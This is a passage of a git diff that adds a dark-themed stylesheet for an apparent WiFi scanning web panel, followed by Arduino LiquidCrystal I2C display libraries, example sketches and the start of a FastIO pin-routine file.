#4974a9 5px; + font-weight: 100; +} + +table{ + border-collapse: collapse; +} + +label{ + line-height: 38px; +} + +p{ + margin: 0.5em 0; +} + +.left { + float: left; +} +.right { + float: right; +} +.bold { + font-weight: bold; +} +.red{ + color: #F04747; +} +.green{ + color:#43B581; +} +.clear { + clear: both; +} +.centered{ + text-align: center; +} +.select{ + width: 98px !important; + padding: 0 !important; +} +.selected{ + background: #4974a9; +} +.status{ + width: 120px; + padding-left: 8px; +} +.labelFix { + line-height: 44px; +} +.clickable{ + cursor: pointer; +} +.settingName{ + text-transform: uppercase; + font-weight: bold; + text-decoration: underline; +} + +#error { + text-align: center; + color: #fff; + background: #af3535; + border-radius: 5px; + padding: 10px; + margin-top: 10px; +} + +#closeError{ + float: right; + color: #fff; + padding: 0px 10px; + cursor: pointer; +} + +#copyright{ + font-size: 0.95em; + text-align: center; + margin-top: 3em; + margin-bottom: 3em; +} + +/* ===== CHECKBOX ===== */ +/* Customize the label (the container) */ +.checkBoxContainer { + display: block; + position: relative; + padding-left: 35px; + margin-bottom: 12px; + cursor: pointer; + font-size: 22px; + -webkit-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + height: 32px; +} + +/* Hide the browser's default checkbox */ +.checkBoxContainer input { + position: absolute; + opacity: 0; + cursor: pointer; +} + +/* Create a custom checkbox */ +.checkmark { + position: absolute; + top: 8px; + left: 0; + height: 28px; + width: 28px; + background-color: #2F3136; + border-radius: 4px; +} + +/* Create the checkmark/indicator (hidden when not checked) */ +.checkmark:after { + content: ""; + position: absolute; + display: none; +} + +/* Show the checkmark when checked */ +.checkBoxContainer input:checked ~ .checkmark:after { + display: block; +} + + +.checkBoxContainer .checkmark:after { + left: 10px; + top: 7px; + width: 4px; + height: 10px; + border: solid white; + border-width: 0 3px 3px 0; + -webkit-transform: rotate(45deg); + -ms-transform: rotate(45deg); + transform: rotate(45deg); +} + +/* ERROR */ +.hide { + display: none; +} + +.show { + display: block !important; + animation-name: fadeIn; + animation-duration: 1s; +} + +@keyframes fadeIn { + 0% {opacity: 0;} + 100% {opacity: 1;} +} + + +hr { + background: #3e4146; +} + +a { + color: #5281bb; + text-decoration: none; +} + +a:hover { + color: #95b8e4; +} + +li{ + margin: 4px 0; +} + +/* Meter */ +.meter_background{ + background: #42464D; + width: 100%; + word-break: normal; + min-width: 100px; +} +.meter_forground{ + color: #fff; + padding: 4px 0; + /* + one of the colors below + (width will be set by the JS) */ +} +.meter_green{ + background: #43B581; +} +.meter_orange{ + background: #FAA61A; +} +.meter_red{ + background: #F04747; +} +.meter_value{ + padding-left: 8px; +} + + +/* Tables */ +table { + width: 100%; + min-width: 400px; + margin-bottom: 2em; +} + +td{ + word-break: break-all; +} + +th{ + word-break: break-word; +} + +th, td { + padding: 10px 6px; + text-align: left; + border-bottom: 1px solid #5d5d5d; +} + +@media screen and (max-width: 820px) { + #apTable .id, + #apTable .enc, + #apTable .mac, + #apTable .vendor, + #apTable .name, + + #stTable .id, + #stTable .pkts, + #stTable .lastseen, + #stTable .mac, + + #nTable .id, + #nTable .vendor, + #nTable .ap, + #nTable .mac, + + #ssidTable .id { + display: none; + } + + .meter_background{ + min-width: 45px; + } +} + +/* Navigation bar */ +nav { + display: block; + padding: 8px 10px; + background: #2f3136; +} + +nav a { + color: #bfbfbf; + padding: 0.5em; + display: inline-block; + text-decoration: none; +} + +nav a:hover{ + background: #36393f; + color:#cecece; + border-radius: 4px; +} + +/* Inputs and buttons */ +.upload-script, .button, button, input[type="submit"], input[type="reset"], input[type="button"] { + display: inline-block; + height: 38px; + padding: 0 20px; + color:#fff; + text-align: center; + font-size: 11px; + font-weight: 600; + line-height: 38px; + letter-spacing: .1rem; + text-transform: uppercase; + text-decoration: none; + white-space: nowrap; + background: #2f3136; + border-radius: 4px; + border: none; + cursor: pointer; + box-sizing: border-box; +} + +button:hover, input[type="submit"]:hover, input[type="reset"]:hover, input[type="button"]:hover { + background: #42444a; +} +button:active, input[type="submit"]:active, input[type="reset"]:active, input[type="button"]:active { + transform: scale(.93); +} + +/* Forms */ +input[type="email"], input[type="number"], input[type="search"], input[type="text"], input[type="tel"], input[type="url"], input[type="password"], textarea, select { + height: 38px; + padding: 6px 10px; /* The 6px vertically centers text on FF, ignored by Webkit */ + background-color: #2f3136; + border-radius: 4px; + box-shadow: none; + box-sizing: border-box; + color: #d4d4d4; + border: none; + width: 5em; +} + +input[type="text"]{ + width: 10em; +} + +.setting { + width: 100% !important; + max-width: 284px !important; +} + +input[type="file"] { + display: none; +} + +/* ==== GRID SYSTEM ==== */ +.container { + width: 100%; + margin-left: auto; + margin-right: auto; + max-width: 1140px; +} + +.row { + position: relative; + width: 100%; +} + +.row [class^="col"] { + float: left; + margin: 0.25rem 2%; + min-height: 0.125rem; +} + +.col-1, +.col-2, +.col-3, +.col-4, +.col-5, +.col-6, +.col-7, +.col-8, +.col-9, +.col-10, +.col-11, +.col-12 { + width: 96%; +} + +.row::after { + content: ""; + display: table; + clear: both; +} + +.hidden-sm { + display: none; +} + +@media only screen and (min-width: 24em) { + .col-1 { + width: 4.33%; + } + + .col-2 { + width: 12.66%; + } + + .col-3 { + width: 21%; + } + + .col-4 { + width: 29.33%; + } + + .col-5 { + width: 37.66%; + } + + .col-6 { + width: 46%; + } + + .col-7 { + width: 54.33%; + } + + .col-8 { + width: 62.66%; + } + + .col-9 { + width: 71%; + } + + .col-10 { + width: 79.33%; + } + + .col-11 { + width: 87.66%; + } + + .col-12 { + width: 96%; + } + + .hidden-sm { + display: block; + } +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.cpp b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.cpp new file mode 100644 index 0000000..2506fea --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.cpp @@ -0,0 +1,252 @@ +#include "LiquidCrystal_I2C.h" +#include +#include +#include + +// When the display powers up, it is configured as follows: +// +// 1. Display clear +// 2. Function set: +// DL = 1; 8-bit interface data +// N = 0; 1-line display +// F = 0; 5x8 dot character font +// 3. Display on/off control: +// D = 0; Display off +// C = 0; Cursor off +// B = 0; Blinking off +// 4. Entry mode set: +// I/D = 1; Increment by 1 +// S = 0; No shift +// +// Note, however, that resetting the Arduino doesn't reset the LCD, so we +// can't assume that its in that state when a sketch starts (and the +// LiquidCrystal constructor is called). + +LiquidCrystal_I2C::LiquidCrystal_I2C(uint8_t lcd_addr, uint8_t lcd_cols, uint8_t lcd_rows, uint8_t charsize) +{ + _addr = lcd_addr; + _cols = lcd_cols; + _rows = lcd_rows; + _charsize = charsize; + _backlightval = LCD_BACKLIGHT; +} + +void LiquidCrystal_I2C::begin() { + Wire.begin(); + _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS; + + if (_rows > 1) { + _displayfunction |= LCD_2LINE; + } + + // for some 1 line displays you can select a 10 pixel high font + if ((_charsize != 0) && (_rows == 1)) { + _displayfunction |= LCD_5x10DOTS; + } + + // SEE PAGE 45/46 FOR INITIALIZATION SPECIFICATION! + // according to datasheet, we need at least 40ms after power rises above 2.7V + // before sending commands. Arduino can turn on way befer 4.5V so we'll wait 50 + delay(50); + + // Now we pull both RS and R/W low to begin commands + expanderWrite(_backlightval); // reset expanderand turn backlight off (Bit 8 =1) + delay(1000); + + //put the LCD into 4 bit mode + // this is according to the hitachi HD44780 datasheet + // figure 24, pg 46 + + // we start in 8bit mode, try to set 4 bit mode + write4bits(0x03 << 4); + delayMicroseconds(4500); // wait min 4.1ms + + // second try + write4bits(0x03 << 4); + delayMicroseconds(4500); // wait min 4.1ms + + // third go! + write4bits(0x03 << 4); + delayMicroseconds(150); + + // finally, set to 4-bit interface + write4bits(0x02 << 4); + + // set # lines, font size, etc. + command(LCD_FUNCTIONSET | _displayfunction); + + // turn the display on with no cursor or blinking default + _displaycontrol = LCD_DISPLAYON | LCD_CURSOROFF | LCD_BLINKOFF; + display(); + + // clear it off + clear(); + + // Initialize to default text direction (for roman languages) + _displaymode = LCD_ENTRYLEFT | LCD_ENTRYSHIFTDECREMENT; + + // set the entry mode + command(LCD_ENTRYMODESET | _displaymode); + + home(); +} + +/********** high level commands, for the user! */ +void LiquidCrystal_I2C::clear(){ + command(LCD_CLEARDISPLAY);// clear display, set cursor position to zero + delayMicroseconds(2000); // this command takes a long time! +} + +void LiquidCrystal_I2C::home(){ + command(LCD_RETURNHOME); // set cursor position to zero + delayMicroseconds(2000); // this command takes a long time! +} + +void LiquidCrystal_I2C::setCursor(uint8_t col, uint8_t row){ + int row_offsets[] = { 0x00, 0x40, 0x14, 0x54 }; + if (row > _rows) { + row = _rows-1; // we count rows starting w/0 + } + command(LCD_SETDDRAMADDR | (col + row_offsets[row])); +} + +// Turn the display on/off (quickly) +void LiquidCrystal_I2C::noDisplay() { + _displaycontrol &= ~LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LiquidCrystal_I2C::display() { + _displaycontrol |= LCD_DISPLAYON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turns the underline cursor on/off +void LiquidCrystal_I2C::noCursor() { + _displaycontrol &= ~LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LiquidCrystal_I2C::cursor() { + _displaycontrol |= LCD_CURSORON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// Turn on and off the blinking cursor +void LiquidCrystal_I2C::noBlink() { + _displaycontrol &= ~LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} +void LiquidCrystal_I2C::blink() { + _displaycontrol |= LCD_BLINKON; + command(LCD_DISPLAYCONTROL | _displaycontrol); +} + +// These commands scroll the display without changing the RAM +void LiquidCrystal_I2C::scrollDisplayLeft(void) { + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVELEFT); +} +void LiquidCrystal_I2C::scrollDisplayRight(void) { + command(LCD_CURSORSHIFT | LCD_DISPLAYMOVE | LCD_MOVERIGHT); +} + +// This is for text that flows Left to Right +void LiquidCrystal_I2C::leftToRight(void) { + _displaymode |= LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This is for text that flows Right to Left +void LiquidCrystal_I2C::rightToLeft(void) { + _displaymode &= ~LCD_ENTRYLEFT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'right justify' text from the cursor +void LiquidCrystal_I2C::autoscroll(void) { + _displaymode |= LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// This will 'left justify' text from the cursor +void LiquidCrystal_I2C::noAutoscroll(void) { + _displaymode &= ~LCD_ENTRYSHIFTINCREMENT; + command(LCD_ENTRYMODESET | _displaymode); +} + +// Allows us to fill the first 8 CGRAM locations +// with custom characters +void LiquidCrystal_I2C::createChar(uint8_t location, uint8_t charmap[]) { + location &= 0x7; // we only have 8 locations 0-7 + command(LCD_SETCGRAMADDR | (location << 3)); + for (int i=0; i<8; i++) { + write(charmap[i]); + } +} + +// Turn the (optional) backlight off/on +void LiquidCrystal_I2C::noBacklight(void) { + _backlightval=LCD_NOBACKLIGHT; + expanderWrite(0); +} + +void LiquidCrystal_I2C::backlight(void) { + _backlightval=LCD_BACKLIGHT; + expanderWrite(0); +} + +/*********** mid level commands, for sending data/cmds */ + +inline void LiquidCrystal_I2C::command(uint8_t value) { + send(value, 0); +} + +inline size_t LiquidCrystal_I2C::write(uint8_t value) { + send(value, Rs); +} + + +/************ low level data pushing commands **********/ + +// write either command or data +void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) { + uint8_t highnib=value&0xf0; + uint8_t lownib=(value<<4)&0xf0; + write4bits((highnib)|mode); + write4bits((lownib)|mode); +} + +void LiquidCrystal_I2C::write4bits(uint8_t value) { + expanderWrite(value); + pulseEnable(value); +} + +void LiquidCrystal_I2C::expanderWrite(uint8_t _data){ + Wire.beginTransmission(_addr); + Wire.write((int)(_data) | _backlightval); + Wire.endTransmission(); +} + +void LiquidCrystal_I2C::pulseEnable(uint8_t _data){ + expanderWrite(_data | En); // En high + delayMicroseconds(1); // enable pulse must be >450ns + + expanderWrite(_data & ~En); // En low + delayMicroseconds(50); // commands need > 37us to settle +} + +void LiquidCrystal_I2C::load_custom_character(uint8_t char_num, uint8_t *rows){ + createChar(char_num, rows); +} + +void LiquidCrystal_I2C::setBacklight(uint8_t new_val){ + if (new_val) { + backlight(); // turn backlight on + } else { + noBacklight(); // turn backlight off + } +} + +void LiquidCrystal_I2C::printstr(const char c[]){ + //This function is not identical to the function used for "real" I2C displays + //it's here so the user sketch doesn't have to be changed + print(c); +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.h b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.h new file mode 100644 index 0000000..df8ac7d --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/LiquidCrystal_I2C.h @@ -0,0 +1,164 @@ +#ifndef FDB_LIQUID_CRYSTAL_I2C_H +#define FDB_LIQUID_CRYSTAL_I2C_H + +#include +#include + +// commands +#define LCD_CLEARDISPLAY 0x01 +#define LCD_RETURNHOME 0x02 +#define LCD_ENTRYMODESET 0x04 +#define LCD_DISPLAYCONTROL 0x08 +#define LCD_CURSORSHIFT 0x10 +#define LCD_FUNCTIONSET 0x20 +#define LCD_SETCGRAMADDR 0x40 +#define LCD_SETDDRAMADDR 0x80 + +// flags for display entry mode +#define LCD_ENTRYRIGHT 0x00 +#define LCD_ENTRYLEFT 0x02 +#define LCD_ENTRYSHIFTINCREMENT 0x01 +#define LCD_ENTRYSHIFTDECREMENT 0x00 + +// flags for display on/off control +#define LCD_DISPLAYON 0x04 +#define LCD_DISPLAYOFF 0x00 +#define LCD_CURSORON 0x02 +#define LCD_CURSOROFF 0x00 +#define LCD_BLINKON 0x01 +#define LCD_BLINKOFF 0x00 + +// flags for display/cursor shift +#define LCD_DISPLAYMOVE 0x08 +#define LCD_CURSORMOVE 0x00 +#define LCD_MOVERIGHT 0x04 +#define LCD_MOVELEFT 0x00 + +// flags for function set +#define LCD_8BITMODE 0x10 +#define LCD_4BITMODE 0x00 +#define LCD_2LINE 0x08 +#define LCD_1LINE 0x00 +#define LCD_5x10DOTS 0x04 +#define LCD_5x8DOTS 0x00 + +// flags for backlight control +#define LCD_BACKLIGHT 0x08 +#define LCD_NOBACKLIGHT 0x00 + +#define En B00000100 // Enable bit +#define Rw B00000010 // Read/Write bit +#define Rs B00000001 // Register select bit + +/** + * This is the driver for the Liquid Crystal LCD displays that use the I2C bus. + * + * After creating an instance of this class, first call begin() before anything else. + * The backlight is on by default, since that is the most likely operating mode in + * most cases. + */ +class LiquidCrystal_I2C : public Print { +public: + /** + * Constructor + * + * @param lcd_addr I2C slave address of the LCD display. Most likely printed on the + * LCD circuit board, or look in the supplied LCD documentation. + * @param lcd_cols Number of columns your LCD display has. + * @param lcd_rows Number of rows your LCD display has. + * @param charsize The size in dots that the display has, use LCD_5x10DOTS or LCD_5x8DOTS. + */ + LiquidCrystal_I2C(uint8_t lcd_addr, uint8_t lcd_cols, uint8_t lcd_rows, uint8_t charsize = LCD_5x8DOTS); + + /** + * Set the LCD display in the correct begin state, must be called before anything else is done. + */ + void begin(); + + /** + * Remove all the characters currently shown. Next print/write operation will start + * from the first position on LCD display. + */ + void clear(); + + /** + * Next print/write operation will will start from the first position on the LCD display. + */ + void home(); + + /** + * Do not show any characters on the LCD display. Backlight state will remain unchanged. + * Also all characters written on the display will return, when the display in enabled again. + */ + void noDisplay(); + + /** + * Show the characters on the LCD display, this is the normal behaviour. This method should + * only be used after noDisplay() has been used. + */ + void display(); + + /** + * Do not blink the cursor indicator. + */ + void noBlink(); + + /** + * Start blinking the cursor indicator. + */ + void blink(); + + /** + * Do not show a cursor indicator. + */ + void noCursor(); + + /** + * Show a cursor indicator, cursor can blink on not blink. Use the + * methods blink() and noBlink() for changing cursor blink. + */ + void cursor(); + + void scrollDisplayLeft(); + void scrollDisplayRight(); + void printLeft(); + void printRight(); + void leftToRight(); + void rightToLeft(); + void shiftIncrement(); + void shiftDecrement(); + void noBacklight(); + void backlight(); + void autoscroll(); + void noAutoscroll(); + void createChar(uint8_t, uint8_t[]); + void setCursor(uint8_t, uint8_t); + virtual size_t write(uint8_t); + void command(uint8_t); + + inline void blink_on() { blink(); } + inline void blink_off() { noBlink(); } + inline void cursor_on() { cursor(); } + inline void cursor_off() { noCursor(); } + +// Compatibility API function aliases + void setBacklight(uint8_t new_val); // alias for backlight() and nobacklight() + void load_custom_character(uint8_t char_num, uint8_t *rows); // alias for createChar() + void printstr(const char[]); + +private: + void send(uint8_t, uint8_t); + void write4bits(uint8_t); + void expanderWrite(uint8_t); + void pulseEnable(uint8_t); + uint8_t _addr; + uint8_t _displayfunction; + uint8_t _displaycontrol; + uint8_t _displaymode; + uint8_t _cols; + uint8_t _rows; + uint8_t _charsize; + uint8_t _backlightval; +}; + +#endif // FDB_LIQUID_CRYSTAL_I2C_H diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/README.md b/libraries/Arduino-LiquidCrystal-I2C-library-master/README.md new file mode 100644 index 0000000..9b84222 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/README.md @@ -0,0 +1,9 @@ +# Installation # +Create a new folder called "LiquidCrystal_I2C" under the folder named "libraries" in your Arduino sketchbook folder. +Create the folder "libraries" in case it does not exist yet. Place all the files in the "LiquidCrystal_I2C" folder. + +# Usage # +To use the library in your own sketch, select it from *Sketch > Import Library*. + +------------------------------------------------------------------------------------------------------------------- +This library is based on work done by DFROBOT (www.dfrobot.com). \ No newline at end of file diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/BlinkingCursor/BlinkingCursor.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/BlinkingCursor/BlinkingCursor.ino new file mode 100644 index 0000000..addc18d --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/BlinkingCursor/BlinkingCursor.ino @@ -0,0 +1,32 @@ +#include +#include + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + // initialize the LCD + lcd.begin(); +} + +void loop() +{ + bool blinking = true; + lcd.cursor(); + + while (1) { + if (blinking) { + lcd.clear(); + lcd.print("No cursor blink"); + lcd.noBlink(); + blinking = false; + } else { + lcd.clear(); + lcd.print("Cursor blink"); + lcd.blink(); + blinking = true; + } + delay(4000); + } +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/CustomChars/CustomChars.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/CustomChars/CustomChars.ino new file mode 100644 index 0000000..c006e63 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/CustomChars/CustomChars.ino @@ -0,0 +1,65 @@ +#include +#include + +uint8_t bell[8] = {0x4, 0xe, 0xe, 0xe, 0x1f, 0x0, 0x4}; +uint8_t note[8] = {0x2, 0x3, 0x2, 0xe, 0x1e, 0xc, 0x0}; +uint8_t clock[8] = {0x0, 0xe, 0x15, 0x17, 0x11, 0xe, 0x0}; +uint8_t heart[8] = {0x0, 0xa, 0x1f, 0x1f, 0xe, 0x4, 0x0}; +uint8_t duck[8] = {0x0, 0xc, 0x1d, 0xf, 0xf, 0x6, 0x0}; +uint8_t check[8] = {0x0, 0x1 ,0x3, 0x16, 0x1c, 0x8, 0x0}; +uint8_t cross[8] = {0x0, 0x1b, 0xe, 0x4, 0xe, 0x1b, 0x0}; +uint8_t retarrow[8] = { 0x1, 0x1, 0x5, 0x9, 0x1f, 0x8, 0x4}; + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + lcd.begin(); + lcd.backlight(); + + lcd.createChar(0, bell); + lcd.createChar(1, note); + lcd.createChar(2, clock); + lcd.createChar(3, heart); + lcd.createChar(4, duck); + lcd.createChar(5, check); + lcd.createChar(6, cross); + lcd.createChar(7, retarrow); + lcd.home(); + + lcd.print("Hello world..."); + lcd.setCursor(0, 1); + lcd.print(" i "); + lcd.write(3); + lcd.print(" arduinos!"); + delay(5000); + displayKeyCodes(); +} + +// display all keycodes +void displayKeyCodes(void) { + uint8_t i = 0; + + while (1) { + lcd.clear(); + lcd.print("Codes 0x"); + lcd.print(i, HEX); + lcd.print("-0x"); + lcd.print(i + 16, HEX); + lcd.setCursor(0, 1); + + for (int j = 0; j < 16; j++) { + lcd.write(i + j); + } + i += 16; + + delay(4000); + } +} + +void loop() +{ + // Do nothing here... +} + diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/HelloWorld/HelloWorld.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/HelloWorld/HelloWorld.ino new file mode 100644 index 0000000..fdb9ee6 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/HelloWorld/HelloWorld.ino @@ -0,0 +1,20 @@ +#include +#include + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + // initialize the LCD + lcd.begin(); + + // Turn on the blacklight and print a message. + lcd.backlight(); + lcd.print("Hello, world!"); +} + +void loop() +{ + // Do nothing here... +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/SerialDisplay/SerialDisplay.ino b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/SerialDisplay/SerialDisplay.ino new file mode 100644 index 0000000..a384c98 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/examples/SerialDisplay/SerialDisplay.ino @@ -0,0 +1,34 @@ +/** + * Displays text sent over the serial port (e.g. from the Serial Monitor) on + * an attached LCD. + */ +#include +#include + +// Set the LCD address to 0x27 for a 16 chars and 2 line display +LiquidCrystal_I2C lcd(0x27, 16, 2); + +void setup() +{ + lcd.begin(); + lcd.backlight(); + + // Initialize the serial port at a speed of 9600 baud + Serial.begin(9600); +} + +void loop() +{ + // If characters arrived over the serial port... + if (Serial.available()) { + // Wait a bit for the entire message to arrive + delay(100); + // Clear the screen + lcd.clear(); + + // Write all characters received with the serial port to the LCD. + while (Serial.available() > 0) { + lcd.write(Serial.read()); + } + } +} diff --git a/libraries/Arduino-LiquidCrystal-I2C-library-master/keywords.txt b/libraries/Arduino-LiquidCrystal-I2C-library-master/keywords.txt new file mode 100644 index 0000000..8c450a9 --- /dev/null +++ b/libraries/Arduino-LiquidCrystal-I2C-library-master/keywords.txt @@ -0,0 +1,46 @@ +########################################### +# Syntax Coloring Map For LiquidCrystal_I2C +########################################### + +########################################### +# Datatypes (KEYWORD1) +########################################### + +LiquidCrystal_I2C KEYWORD1 + +########################################### +# Methods and Functions (KEYWORD2) +########################################### +init KEYWORD2 +begin KEYWORD2 +clear KEYWORD2 +home KEYWORD2 +noDisplay KEYWORD2 +display KEYWORD2 +noBlink KEYWORD2 +blink KEYWORD2 +noCursor KEYWORD2 +cursor KEYWORD2 +scrollDisplayLeft KEYWORD2 +scrollDisplayRight KEYWORD2 +leftToRight KEYWORD2 +rightToLeft KEYWORD2 +shiftIncrement KEYWORD2 +shiftDecrement KEYWORD2 +noBacklight KEYWORD2 +backlight KEYWORD2 +autoscroll KEYWORD2 +noAutoscroll KEYWORD2 +createChar KEYWORD2 +setCursor KEYWORD2 +print KEYWORD2 +blink_on KEYWORD2 +blink_off KEYWORD2 +cursor_on KEYWORD2 +cursor_off KEYWORD2 +setBacklight KEYWORD2 +load_custom_character KEYWORD2 +printstr KEYWORD2 +########################################### +# Constants (LITERAL1) +########################################### diff --git a/libraries/I2C_LCD02/I2C_LCD02.ino b/libraries/I2C_LCD02/I2C_LCD02.ino new file mode 100644 index 0000000..9d73fe1 --- /dev/null +++ b/libraries/I2C_LCD02/I2C_LCD02.ino @@ -0,0 +1,84 @@ + +/*-----( Import needed libraries )-----*/ +#include // Comes with Arduino IDE +// Get the LCD I2C Library here: +// www.4tronix.co.uk/arduino/sketches/LiquidCrystal_V1.2.1.zip +// Move any other LCD libraries to another folder or delete them +// See Library "Docs" folder for possible commands etc. +#include + +/*-----( Declare Constants )-----*/ +/*-----( Declare objects )-----*/ +// set the LCD address to 0x27 for a 20 chars 4 line display +// Set the pins on the I2C chip used for LCD connections: +// addr, en,rw,rs,d4,d5,d6,d7,bl,blpol +LiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE); // Set the LCD I2C address + +/*-----( Declare Variables )-----*/ +//NONE + +void setup() /*----( SETUP: RUNS ONCE )----*/ +{ + Serial.begin(9600); // Used to type in characters + + lcd.begin(20,4); // initialize the lcd for 20 chars 4 lines, turn on backlight + +// ------- Quick 3 blinks of backlight ------------- + for(int i = 0; i< 3; i++) + { + lcd.backlight(); + delay(250); + lcd.noBacklight(); + delay(250); + } + lcd.backlight(); // finish with backlight on + +//-------- Write characters on the display ------------------ +// NOTE: Cursor Position: (CHAR, LINE) start at 0 + lcd.setCursor(0,0); //Start at character 4 on line 0 + lcd.print("Hello, world!"); + delay(1000); + lcd.setCursor(0,1); + lcd.print("4tronix I2C LCD"); // Print text on 2nd Line + delay(1000); + lcd.setCursor(0,2); + lcd.print("0123456789ABCDEFGHIJ"); //Print 20 characters on 3rd line + delay(1000); + lcd.setCursor(0,3); + lcd.print("4th Line of Text"); + delay(8000); + +// Wait and then tell user they can start the Serial Monitor and type in characters to +// Display. (Set Serial Monitor option to "No Line Ending") +/* lcd.clear(); + lcd.setCursor(0,0); //Start at character 0 on line 0 + lcd.print("Use Serial Mon"); + lcd.setCursor(0,1); + lcd.print("Type to display"); */ + + +}/*--(end setup )---*/ + + +void loop() /*----( LOOP: RUNS CONSTANTLY )----*/ +{ + { + // when characters arrive over the serial port... + if (Serial.available()) { + // wait a bit for the entire message to arrive + delay(100); + // clear the screen + //lcd.clear(); + // read all the available characters + while (Serial.available() > 0) { + // display each character to the LCD + //lcd.write(Serial.read()); + } + } + } + +}/* --(end main loop )-- */ + + +/* ( THE END ) */ + diff --git a/libraries/LiquidCrystal/FastIO.cpp b/libraries/LiquidCrystal/FastIO.cpp new file mode 100644 index 0000000..18c8ac5 --- /dev/null +++ b/libraries/LiquidCrystal/FastIO.cpp @@ -0,0 +1,267 @@ +// --------------------------------------------------------------------------- +// Created by Florian Fida on 20/01/12 +// Copyright 2012 - Under creative commons license 3.0: +// Attribution-ShareAlike CC BY-SA +// http://creativecommons.org/licenses/by-sa/3.0/ +// +// This software is furnished "as is", without technical support, and with no +// warranty, express or implied, as to its usefulness for any purpose. +// --------------------------------------------------------------------------- +// fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black +// (http://www.romanblack.com/shift1.htm) +// +// Thread Safe: No +// Extendable: Yes +// +// @file FastIO.h +// This file implements basic fast IO routines. +// +// @brief +// +// @version API 1.0.0 +// +// @author Florian Fida - +// +// 2012-03-16 bperrybap updated fio_shiftout() to be smaller & faster +// +// @todo: +// support chipkit: +// (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/ +// cores/pic32/wiring_digital.c) +// --------------------------------------------------------------------------- +#include "FastIO.h" + + +fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state) +{ + pinMode(pin, OUTPUT); + + if(initial_state != SKIP) + { + digitalWrite(pin, initial_state); // also turns off pwm timer + } +#ifdef FIO_FALLBACK + // just wasting memory if not using fast io... + return 0; +#else + return portOutputRegister(digitalPinToPort(pin)); +#endif +} + + +fio_register fio_pinToInputRegister(uint8_t pin) +{ + pinMode(pin, INPUT); + digitalWrite(pin, LOW); // also turns off pwm timer and pullup +#ifdef FIO_FALLBACK + // just wasting memory if not using fast io... + return 0; +#else + return portInputRegister(digitalPinToPort(pin)); +#endif +} + + +fio_bit fio_pinToBit(uint8_t pin) +{ +#ifdef FIO_FALLBACK + // (ab)use the bit variable to store the pin + return pin; +#else + return digitalPinToBitMask(pin); +#endif +} + + +void fio_digitalWrite(fio_register pinRegister, fio_bit pinBit, uint8_t value) +{ +#ifdef FIO_FALLBACK + digitalWrite(pinBit, value); +#else + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + if(value == LOW) + { + fio_digitalWrite_LOW(pinRegister,pinBit); + } + else + { + fio_digitalWrite_HIGH(pinRegister,pinBit); + } + } +#endif +} + +int fio_digitalRead(fio_register pinRegister, uint8_t pinBit) +{ +#ifdef FIO_FALLBACK + return digitalRead (pinBit); +#else + if (*pinRegister & pinBit) + { + return HIGH; + } + return LOW; +#endif +} + +void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, + fio_register clockRegister, fio_bit clockBit, + uint8_t value, uint8_t bitOrder) +{ + // # disable interrupts + int8_t i; + + if(bitOrder == LSBFIRST) + { + for(i = 0; i < 8; i++) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + if(value & 1) + { + fio_digitalWrite_HIGH(dataRegister, dataBit); + } + else + { + fio_digitalWrite_LOW(dataRegister, dataBit); + } + value >>= 1; + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_LOW (clockRegister,clockBit); + } + } + + } + else + { + for(i = 0; i < 8; i++) + { + ATOMIC_BLOCK(ATOMIC_RESTORESTATE) + { + if(value & 0x80) + { + fio_digitalWrite_HIGH(dataRegister, dataBit); + } + else + { + fio_digitalWrite_LOW(dataRegister, dataBit); + } + value <<= 1; + fio_digitalWrite_HIGH (clockRegister, clockBit); + fio_digitalWrite_LOW (clockRegister,clockBit); + } + } + } +} + + +void fio_shiftOut(fio_register dataRegister, 